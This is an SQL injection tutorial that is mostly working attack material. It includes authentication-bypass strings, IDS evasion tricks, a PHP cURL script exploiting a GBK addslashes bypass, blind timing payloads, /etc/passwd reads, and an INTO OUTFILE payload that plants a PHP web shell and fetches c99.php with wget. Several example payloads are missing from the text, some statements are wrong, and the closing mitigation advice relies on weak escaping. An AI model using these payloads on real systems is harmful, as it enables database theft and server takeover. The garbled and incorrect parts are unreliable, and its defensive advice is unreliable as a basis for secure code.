SQL Injection Types
There are a number of categorized SQL injection types that can be executed with a web-browser. They are:
-
Poorly Filtered Strings
-
Incorrect Type Handling
-
Signature Evasion
-
Filter Bypassing
-
Blind SQL Injection
Poorly Filtered Strings
SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. This means that a user can input a variable that can be passed on as an SQL statement, resulting in database input manipulation by the end user.
Code that is vulnerable to this type of vulnerability might look something like this:
$pass = $_GET['pass'];
$password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';");
The query above is an SQL call to SELECT the password from the users database, with the password value being that of $var. If the user were to input a password that was especially designed to continue the SQL call, it may result in results that were not aforethought. An injection for this may look something like:
Inserting the above into the form will result in the query being extended with an OR statement, resulting in a final query of:
SELECT password FROM users WHERE password = '' OR 1 = 1 /*
Because of the OR statement in the SQL query, the check for password = $var is insignificant as 1 does equal 1, thus the query will return TRUE, resulting in a positive login.
Incorrect Type Handling
Incorrect type handling based SQL injections occur when an input is not checked for type constraints. An example of this would be an ID field that is numeric, but there is no filtering in place to check that the user input is numeric. is_numeric() should always be used when the field type is explicitly supposed to be a number. An example of code that will not be subject to incorrect type handling injection is:
(is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1;
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
The above code checks that $_GET[‘id’] is a number, if TRUE returns $id = $_GET[‘id’], and if FALSE sets $id to 1. This kind of filtering will assure that the ID field is always numeric.
Signature Evasion
Many SQL injections will be somewhat blocked by intrusion detection and intrusion prevention systems using signature detection rules. Common programs that detect SQL injections are mod_security for Apache and Snort. These programs aren't fool proof and as such, the signatures can be evaded. There are many methods that can be used to bypass signature detection, some of which will be described here.
Different Encoding
Signature evasion can be made possible with a number of encoding tricks.
One basic and common encoding trick is the use of URL encoding. URL encoding would change an injection string that would normally look like the following:
To a URL encoded string that would be masked as:
Thus the installed IDS system may not register the attack, and the signature will be evaded.
White Space Multiplicity
As common signature databases check for strings such as "OR " (OR followed by a space), it is possible to evade these signatures using different spacing techniques. These techniques can be the use of tabs, new lines/carriage return line feeds, and a variety of other white spaces.
If a signature is checking for OR followed by a space, it is possible to insert a new line as a space, which would be possible using the %0a value within a URL bar. Thus an injection that would normally look like:
NULL OR 'value'='value'/*
The whitespace within the injection would be replaced by a new line, looking like:
NULL%0aOR%0a'value'='value'/*
Would now appear to the server as:
NULL
OR
'value'='value'/*
The above string would then bypass the intrusion detection/prevention system and be executed within the MySQL server.
Arbitrary String Patterns
In MySQL, comments can be inserted into a query using the C syntax of /* to start the comment, and */ to end the comment. These comment strings can be used to evade signature detection of common words such as UNION, or OR. The following injection pattern may be picked up by an IDS:
NULL UNION ALL SELECT user,pass, FROM user_db WHERE user LIKE '%admin%/*
However, the same IDS may not detect the injection if keywords were commented as follows:
NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FROM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'//
The above breaks up keywords that an IPS such as Apache's mod_security would normally detect, allow the SQL injection attack to parse, and database tables to be read. Of course, an IDS will be able to check for strings of /* and */, however, a lot of sites, including blogging sites, pastebins, news sites etc may need to use C commenting blocks, resulting in a false positive.
Filter Bypassing
addslashes() & magic_quotes_gpc
In rare cases under certain conditions, filters such as addslashes() and magic_quotes_gpc can be bypassed when the vulnerable SQL server is using certain character sets such as the GBK character set.
In GBK, the hex value of 0xbf27 is not a valid multi-byte character, however, the hex value of 0xbf5c is. If the characters are constructed as single-byte characters, 0xbf5c is 0xbf (¿) followed by 0x5c (\); ¿\. And 0xbf27 is 0x27 (') following a 0xbf (¿); ¿'.
This comes in handy when single quotes are escaped with a backslash (\) using addslashes() or when magic_quotes_gpc is turned on. Although it appears at first that the injection point is blocked via one of these methods, we can bypass this by using 0xbf27. By injecting this hex code, addslashes() will modify 0xbf27 to become 0xbf5c27, which is a valid multi-byte character (0xbf5c) and is followed by an non-escaped inverted comma. In other words, 0xbf5c is recognised as a single character, so the backslash is useless, and the quote is not escaped.
Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
The CURLOPT_POSTFIELDS line sets the characters to be passed as multi-byte characters, and finishes the statement with OR 1=1/*, thus creating an injection that will bypass the addslashes() and/or magic_quotes_gpc checking.
mysql_real_escape_string()
Blind SQL Injection
Most good production environments do not allow you to see output in the form of error messages or extracted database fields whilst conducting SQL injections, these injections are known as Blind SQL Injections. They are titled Partially Blind Injections and Totally Blind Injections.
Partially Blind Injections are injections where you can see slight changes in the resulting page, for instance, an unsuccessful injection may redirect the attacker to the main page, where a successful injection will return a blank page.
Totally Blind Injections are unlike Partially Blind Injections in that they don't produce difference in output of any kind. This is still however injectable, though it's harder to determine whether an injection is actually taking place (Black Box Testing will be useless in these cases, only White Box Testing and Grey Box Testing will have any use in Blind SQL Injections).
MySQL BENCHMARK
Using MySQL's BENCHMARK will enable an attacker to determine whether an injection point is vulnerable or not. The BENCHMARK technique is basically abusing the function and if one isn't careful, can and will overload the server. However, as MySQL has no delay functions, injecting a string using BENCHMARK that will take 30 seconds to complete is a sure way of ascertaining data that would normally be hard to acquire in a Blind Injection with MySQL.
UNION ALL SELECT BENCHMARK(10000000,ENCODE('xyz','987'));
/*the above will take about 5 seconds on localhost*/
UNION ALL SELECT BENCHMARK(1000000,MD5(CHAR(118)))
/*the above will take about 7 seconds on localhost*/
UNION ALL SELECT BENCHMARK(5000000,MD5(CHAR(118)))
/*the above will take about 35 seconds on localhost*/
Once the above determines whether or not the injection point is vulnerable, it is possible to use IF statements to determine table names, and field values as such:
UNION ALL SELECT IF( username = 'admin', BENCHMARK(1000000,MD5(CHAR(118))),NULL) FROM users/*
The above will check for the username of admin and set a delay if the query returns true.
MSSQL WAITFOR DELAY
MSSQL's WAITFOR DELAY function allows an injection that is not CPU intensive, and will not overload the server. This technique is much safer than MySQL's BENCHMARK technique. It is possible to use the WAITFOR DELAY function in an injection to stall the server and determine whether an injection point is vulnerable or not.
WAITFOR DELAY '0:0:10'--
/* The above will set a delay of 10 seconds */
WAITFOR DELAY '0:0:0.5'--
/* It is also possible to use fractions, however,
in a blind injection fractions aren't very useful*/
The above are examples of the WAITFOR DELAY syntax. A real life injection may look more like the following:
; IF EXISTS(SELECT * FROM user_db) WAITFOR DELAY '0:0:10'--
The above will enable us to determine whether the database “user_db” exists or not.
PostgreSQL pg_sleep()
Like MSSQL, PostgreSQL has a non CPU intensive function that allows an attacker to determine whether or not an injection point is vulnerable or not. This function is pg_sleep(). pg_sleep() can be set to determine how many seconds the server will sleep for. The following demonstrates the use of pg_sleep() to sleep for 10 seconds:
SQL Injection Techniques
UNION Statements
The UNION statement in SQL is used to select information from two SQL tables. When using the UNION command all selected columns need to be of the same data type. The UNION ALL statement however, allows columns of all data types to be selected.
The UNION ALL statement can be used as an SQL Injection vector where an unsanitized dynamic script calls for data from a table such as news, and the UNION ALL statement is used modify and expand the SQL call. A script vulnerable to this type of injection may have a URI string that looks a little something like ./news.php?id=1338, and it's source may look similar to this:
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
Due to the lack of filtering in $id variable, it is vulnerable to an SQL injection, including a UNION ALL injection such as:
NULL UNION ALL SELECT password FROM users WHERE username = 'admin'/*
The above would result in the following SQL query:
SELECT * FROM `news` WHERE `id` = NULL UNION ALL SELECT password FROM users WHERE username = 'admin'/*
This would result in a NULL value being called instead of the news ID, and the password of the account named 'admin' being echoed in it's place.
ORDER BY Statements
Using the ORDER BY SQL statement within an SQL injection allows an attacker to determine the number of columns within a query. It sorts the column number called within the statement in an ascending order. An ORDER BY injection would look like the following:
By ordering by the integer 4, the SQL call is ordering by the 5th column called within the statement. Said statement may look like:
$news = mysql_query( "SELECT title,date,time,author,body FROM `news` WHERE `id` = $id" );
The above query has 5 columns, which would result in the injection resulting as TRUE and ordering the columns by the author name. If the ORDER BY statement was increased to 6 however, the page would return either an error, or another page such as a redirected or blank page. With that said, it is then apparent that the amount of columns called within the query is 5.
The final call of the above SQL query would result in:
SELECT title,date,time,author,body FROM `news` WHERE `id` = $id ORDER BY 5
LOAD_FILE()
The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL server. The file being read by LOAD_FILE() must have read rights by all users on the server, not just the server daemon. In order for a LOAD_FILE() injection to be successful, the absolute path of the file must be used, the use of a relative path will fail. To obtain an absolute path, see the article on Full Path Disclosure.
An LOAD_FILE() injection may look like:
NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*
If successful, the injection will display the contents of the passwd file.
INTO OUTFILE()
The OUTFILE() function within MySQL is often used to run a query, and dump the results into a file. An attacker could exploit this ability by including a PHP system call into an injection, and write the query into an outfile. In order for a OUTFILE() injection to be successful, the absolute path of the file must be used, the use of a relative path will fail. The directory also needs to be writable. To obtain an absolute path, see the article on Full Path Disclosure.
An INTO OUTFILE() injection may look like:
NULL UNION ALL SELECT null,null,null,null,'<?php system($_GET["command"]); ?>' INTO OUTFILE '/var/www/victim.com/shell.php'/*
If successful, it will then be possible to run system commands via the $_GET global. The following is an example of using wget to get a file:
http://www.victim.com/shell.php?command=wget http://www.example.com/c99.php
INFORMATION_SCHEMA
The MySQL INFORMATION_SCHEMA database (available from MySQL 5), is made up of table-like objects (aka, system views), that result in the exposure of metadata in a relational format. The execution of arbitrary injections via SELECT statements are thus possible to retrieve or to format said metadata. Metadata is only accessible to an attacker if the objects retrieved are accessible by the current user account. The INFORMATION_SCHEMA database is automatically created by the server upon MySQL installation, and the metadata within is maintained by the server.
The INFORMATION_SCHEMA database is made up of the following objects:
SCHEMATA
TABLES
COLUMNS
STATISTICS
USER_PRIVILEGES
SCHEMA_PRIVILEGES
TABLE_PRIVILEGES
COLUMN_PRIVILEGES
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
TABLE_CONSTRAINTS
KEY_COLUMN_USAGE
ROUTINES
VIEWS
TRIGGERS
PROFILING
An injection exploiting the INFORMATION_SCHEMA database may look like the following:
UNION ALL SELECT * FROM INFORMATION_SCHEMA.TABLES/*
The above statement would result in the output of all database tables accessible by the current MySQL user.
In the case that the above SELECT statement returns false, it is possible to extend the statement to circumvent any restrictions.
An extended INFORMATION_SCHEMA statement may appear as follows:
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'db_name' [AND table_name LIKE 'wild']
SHOW TABLES FROM db_name [LIKE 'wild']
Char()
The Char() function interprets each value as an integer and returns a string based on given the characters by the code values of those integers. With Char(), NULL values are skipped. The function is used within Microsoft SQL Server, Sybase, and MySQL, while CHR() is used by RDBMSs.
SQL's Char() function comes in handy when (for example) addslashes() for PHP is used as a precautionary measure within the SQL query. Using Char() removes the need of quotation marks within the injected query.
An example of some PHP code vulnerable to an SQL injection using Char() would look similar to the following:
$uname = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $id;
While addslashes() has been used, the script fails properly sanitize the input as there is no trailing quotation mark. This could be exploited using the following SQL injection string to load the /etc/passwd file:
NULL UNION ALL SELECT LOAD_FILE(CHAR(34,47,101,116,99,47,112,97,115,115,119,100,34))/*
It could also be used to force the application to allow LIKE statements to search for users like %admin%, as follows:
NULL UNION ALL SELECT username,password,null,null FROM users WHERE username LIKE CHAR(34,37,97,100,109,105,110,37,34)/*
The syntax of the Char() function changes slightly when dealing with Microsoft SQL Server. For instance, the example given above would translate to the following:
NULL UNION ALL SELECT username,password,null,null FROM users WHERE username LIKE
CHAR(34) + CHAR(37) + CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) + CHAR(37) + CHAR(34)/*
CAST()
Occasionally it may be necessary to change the data type of the variables in an injection to execute it without type mismatch errors. From time to time dynamic pages may be encountered that will only display certain types of data (strings, integers, dates etc) in certain positions. The CAST function can be used to bypass this and to convert data so that it can be displayed. Take the following example:
NULL UNION ALL SELECT 1,2,3,4,5/*
The column at position 3 may only be allowed to display a string. It may be necessary to either enclose the 3 in inverted commas or to use the CAST function like the following example:
NULL UNION ALL SELECT 1,2,CAST(3 as nvarchar),4,5/*
This would still display a 3, but the server would treat it as a string and not an integer. There are numerous data types you can convert to including int, nvarchar, datetime and sql_variant to name just a few.
LIMIT
The MySQL LIMIT function is extremely useful. Some web pages don't always display lists of information but rather one record from the database. When this is the case, it will be necessary to form an injection that can display one record from a data set but still enable the retrieval of all records. The LIMIT function has the following syntax:
In the example above, LIMIT is given the parameters 0 and 1. The 0 represents the position within the data set and the 1 represents the number of records to retrieve. This example would retrieve the first record within the data set. The following would display the first 10 records:
To demonstrate how this would be useful, take the following injection:
NULL UNION ALL SELECT username, password, 3, 4 FROM users LIMIT 0,1
On a page that returns a single record, this would return the first record in the users table. Incrementing the start position, the 0, would return the 2nd record, 3rd record and so on until the end of the data set is reached.
On a Microsoft SQL Server there is no LIMIT function. However it is possible, albeit much more complex, to accomplish the same outcome with the use of the TOP command and a sub-query.
To illustrate the use of this technique, consider the example above which would translate to the following:
NULL UNION ALL SELECT TOP 1 username, password, 3, 4 FROM users WHERE username NOT IN (SELECT TOP 0 username FROM users)
Now this is a complex query and the sub query is the key component here. Essentially it tells the database to return the first record that isn't found within the sub query. This only works effectively when there's a unique field to compare against, usually id or username fields.
The query above tells the database to retrieve, in this case, the first record from the users table. The TOP 0 in the sub query is essentially the same as the 0 in the LIMIT example provided earlier, and the TOP 1 in the main query would translate to the 1 in that same example. To return the next record simply increment the 0.
Information Gathering Techniques
There are a number of information gathering techniques within SQL. These can be used for reconnaissance purposes to gather any needed information about the victim site.
@@version @@version is used within SQL Server to discover which version of the server is running. An injection may look something like:
The output of the above statement would look similar to the following:
Microsoft SQL Server 7.00 - 7.00.623 (Intel X86)
Nov 27 1998 22:20:07
Copyright (c) 1988-1998 Microsoft Corporation
Desktop Edition on Windows NT 5.1 (Build 2600: )
SQL Injection Mitigation
There are a number of ways to prevent MySQL injections within PHP. The most common ways are using functions such as addslashes() and mysql_real_escape_string().
addslashes()
addslashes() will return a string with a backslash before characters that need to be sanitized in database queries. These characters are single quotes (' = \') double quotes (" = \") and the nullbyte (%00 = \0).
addslashes() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:
$id = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $id;
However, if the script looked something like the following, addslashes() would prevent an SQL injection:
$uname = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = "' . $uname . '";
mysql_real_escape_string()
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:
$uname = mysql_real_escape_string( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $uname;
However, if the script looked something like the following, mysql_real_escape_string() would prevent an SQL injection:
$uname = mysql_real_escape_string( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = "' . $uname . '";
is_numeric()
PHP's is_numeric() function can be used to check if a query is numeric or not, and return TRUE or FALSE. This function can be used to prevent SQL injections where the $id integer is called. The following is an example of the use of is_numeric() to prevent SQL injection:
$id = $_GET['id'];
( is_numeric( $id ) ? TRUE : FALSE );
sprintf()
sprintf() can be used with conversion specifications to ensure that the dynamic argument is treated the way it's suppose to be treated. For example, if a call for the users ID number were in the string, %d would be used to ensure the argument is treated as an integer, and presented as a (signed) decimal number. An example of this is as follows:
$id = $_GET['id'];
$query = sprintf("SELECT username FROM users WHERE id = '%d' ", $id);
htmlentities($var, ENT_QUOTES)
htmlentities() in conjunction with the optional second quote_style parameter, allows the use of ENT_QUOTES, which will convert both double and single quotes. This will work in the same sense as addslashes() and mysql_real_escape_string() in regards to quotation marks, however, instead of prepending a backslash, it will use the HTML entity of the quotation mark.
In addition to using ENT_QUOTES within htmlentities(), a third parameter can be set which forces the use of a character set within conversion. This will help stop unpredicted results from using multibyte characters in character sets such as BIG5 and GPK.
The following is an example of code which would help to prevent SQL injection in PHP.
$id = $_GET['id'];
$id = htmlentities( $id, ENT_QUOTES, 'UTF-8' );
$query = 'SELECT username FROM users WHERE id = "' . $id . '"';
